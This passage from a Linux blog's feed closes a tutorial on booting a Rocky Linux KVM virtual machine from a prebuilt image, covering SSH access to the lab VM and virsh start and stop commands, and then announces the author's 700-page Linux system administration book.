failed.</p><p><code>passwordauthentication</code> is enabled, but <code>permitrootlogin</code> is set to <code>without-password</code>, which means root login is only allowed using SSH keys, not a password.</p><blockquote><p>You can verify the effective SSH configuration using <code>sshd -T</code>. This shows the final values after all configuration files and drop-in overrides are applied.</p></blockquote><p>Let&#8217;s fix that by creating a drop-in file instead of modifying the main SSH configuration file:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ printf 'PermitRootLogin yes\nPasswordAuthentication yes\n' &gt; / etc/ssh/sshd_config.d/99-root-login.conf

$ systemctl restart sshd</code></pre></div><p>Now verify the effective configuration again:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nPF9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nPF9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nPF9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png" width="1039" height="253" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/efd814f1-76ba-4f06-8d23-52714911255b_1039x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:253,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31394,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nPF9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!nPF9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fefd814f1-76ba-4f06-8d23-52714911255b_1039x253.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You can now connect using SSH with the root password. First exit the console by pressing <code>Ctrl + ]</code></p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ ssh root@192.168.122.227</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!my15!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!my15!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!my15!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!my15!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!my15!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!my15!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png" width="1039" height="253" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:253,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31846,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!my15!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!my15!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!my15!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!my15!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F48e2bffc-adec-410d-be65-2d093d1642c7_1039x253.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If you prefer key-based authentication, you can inject an SSH key when preparing the image with virt-customize.</p><p>For example:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ ssh-keygen -t rsa

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--ssh-inject 'root:file:/root/.ssh/id_rsa.pub'</code></pre></div><p>This adds your public key to the image so you can connect without a password:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ ssh root@192.168.122.227</code></pre></div><p>If the IP address does not appear, the virtual machine may still be initializing its network.</p><p>Give it a few seconds and run the command again.</p><p>At this point, you have a working virtual machine running from a prebuilt image.</p><p>You can log in, install packages, test configurations, and experiment freely without affecting your main system.</p><blockquote><p>Every virtual machine you create from an image starts from the same baseline. If you need multiple systems, create a copy of the image for each virtual machine. A single disk image should not be shared between multiple VMs.</p></blockquote><h2><strong>Stopping the virtual machine</strong></h2><p>Once you are done working with the virtual machine, you can stop it.</p><p>To see running virtual machines:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virsh list</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NRLt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NRLt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NRLt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png" width="1039" height="253" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:253,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:21592,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NRLt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!NRLt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb98253fa-780a-43cb-87bb-16f1bad0ca98_1039x253.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>To stop the virtual machine gracefully:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virsh shutdown rocky-10-kvm-lab-demo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hqMy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hqMy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 424w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 848w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 1272w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hqMy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png" width="1039" height="190" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:190,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22814,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hqMy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 424w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 848w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 1272w, https://substackcdn.com/image/fetch/$s_!hqMy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fe9ad92-ee89-462e-99e6-1fe4b4ff5c0e_1039x190.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This sends a shutdown signal to the guest operating system, allowing it to close services and unmount filesystems properly.</p><p>If the virtual machine does not respond, you can force it to stop:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virsh destroy rocky-10-kvm-lab-demo</code></pre></div><p>This stops the virtual machine immediately, similar to cutting power.</p><p>If you want to start it again later:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virsh start rocky-10-kvm-lab-demo</code></pre></div><h2>Closing</h2><p>At this point, you have a working virtual machine built from a prebuilt image.</p><p>No installation wizard. No repeated setup steps.</p><p>You took an image, prepared it, and turned it into a running system in a few commands.</p><p>This is a faster way to build lab environments.</p><p>You can keep a collection of images, adjust them for different use cases, and spin up new systems whenever you need them.</p><p>From here, you can go further.</p><p>Create multiple virtual machines, connect them together, simulate networks, or test real-world scenarios.</p><p>Everything starts from the same idea: take an image, run it, and use it.</p><p>That&#8217;s it.</p><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[A Practical Guide to Linux System Administration]]></title><description><![CDATA[It has been a quiet few months here.]]></description><link>https://blog.sysxplore.com/p/a-practical-guide-to-linux-system</link><guid isPermaLink="false">https://blog.sysxplore.com/p/a-practical-guide-to-linux-system</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Thu, 12 Mar 2026 17:15:44 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/376ce229-f712-4064-b976-e739d622f38c_5000x2625.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It has been a quiet few months here.</p><p>The reason is simple: I have been finishing something that took much longer than I originally expected.</p><p>For almost two years I&#8217;ve been working on a book called<a href="https://firststepswithlinux.com"> </a><strong><a href="https://firststepswithlinux.com">First Steps with Linux</a></strong>, a practical guide that takes you from zero Linux experience to confidently managing Linux systems.</p><p>Writing it alongside work, research, and the articles I publish here turned out to be a bigger project than I imagined. There were many moments where I thought it was almost finished, only to realize there were still chapters that needed rewriting, diagrams that needed improvement, or concepts that needed clearer explanations.</p><p>Today I&#8217;m happy to finally say:</p><p><strong>The book is finished.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ebNg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ebNg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 424w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 848w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 1272w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ebNg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic" width="1456" height="1820" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1820,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4272998,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/190717463?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ebNg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 424w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 848w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 1272w, https://substackcdn.com/image/fetch/$s_!ebNg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569055f0-a650-4dd5-9afc-3d1dc104084b_4500x5625.heic 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2><strong>Why I wrote this book</strong></h2><p>Many of the articles on this newsletter focus on deep dives into specific Linux topics. Over time I noticed something interesting in the questions I received from readers.</p><p>Most people weren&#8217;t struggling with one isolated command or tool.</p><p>They were struggling with <strong>connecting the pieces together</strong>.</p><p>Linux has incredible documentation and countless tutorials online, but beginners often jump between random guides without seeing how everything fits together.</p><p>So the idea behind this book was simple:</p><p>Create a resource that teaches Linux <strong>as a system</strong>, not just as a collection of commands.</p><h2><strong>What the book covers</strong></h2><p>The final manuscript ended up much larger than I planned.</p><p>The book now runs <strong>700+ pages</strong> and covers a wide range of practical Linux topics, including:</p><ul><li><p>Navigating the Linux command line and filesystem</p></li><li><p>File permissions, SUID/SGID, Access Control Lists (ACLs), and file attributes</p></li><li><p>Managing users and groups</p></li><li><p>Working with disk partitions and filesystems such as <strong>ext4</strong> and <strong>XFS</strong>, including partitioning, formatting, repairing, and mounting disks</p></li><li><p>Software management using <strong>apt</strong>, <strong>dnf</strong>, and <strong>rpm-based systems</strong>, including managing local repositories</p></li><li><p>Storage technologies such as <strong>LVM, RAID, swap, disk quotas, NFS, and autofs</strong></p></li><li><p>Working with regex, archives, and compressed files</p></li><li><p>Process management, including foreground and background processes and priority control</p></li><li><p>Task automation using <strong>cron</strong>, <strong>systemd timers</strong>, <strong>batch</strong>, and <strong>at</strong></p></li><li><p>Practical Linux networking: managing interfaces, IP addresses, and routing</p></li></ul><p>The goal was to build something that helps readers move from basic Linux usage to confidently managing real systems.</p><h2><strong>Technical review</strong></h2><p>An early version of the book was technically reviewed by Alex Callejas, Services Content Architect at Red Hat and author of <em>Fedora Linux System Administration</em>.</p><p>His feedback helped refine several sections of the book and improve explanations across multiple chapters.</p><h2><strong>Beta readers</strong></h2><p>Before the final release, the book was shared with a small group of beta readers who carefully reviewed sections of the manuscript and provided detailed feedback.</p><p>Their comments helped clarify explanations, identify confusing areas, and improve several chapters across the book.</p><p>I&#8217;m very grateful for the time they invested in reading early drafts and helping shape the final version.</p><h2><strong>Where to get the book</strong></h2><p>To celebrate the launch, the book is available at a <strong>special launch price of $49</strong>.</p><p>The regular price will increase to <strong>$69</strong> after the launch window.</p><p>You can get the book here:</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://firststepswithlinux.com&quot;,&quot;text&quot;:&quot;Get the Book&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://firststepswithlinux.com"><span>Get the Book</span></a></p><h2><strong>Thank you</strong></h2><p>If you&#8217;ve been reading the articles on this newsletter, thank you.</p><p>Many of the ideas that shaped this book came from the discussions and questions shared here over the years.</p><p>Your feedback helped shape what the book eventually became.</p><p>I&#8217;ll return to publishing new Linux deep dives here soon. Now that the book is finally finished, there 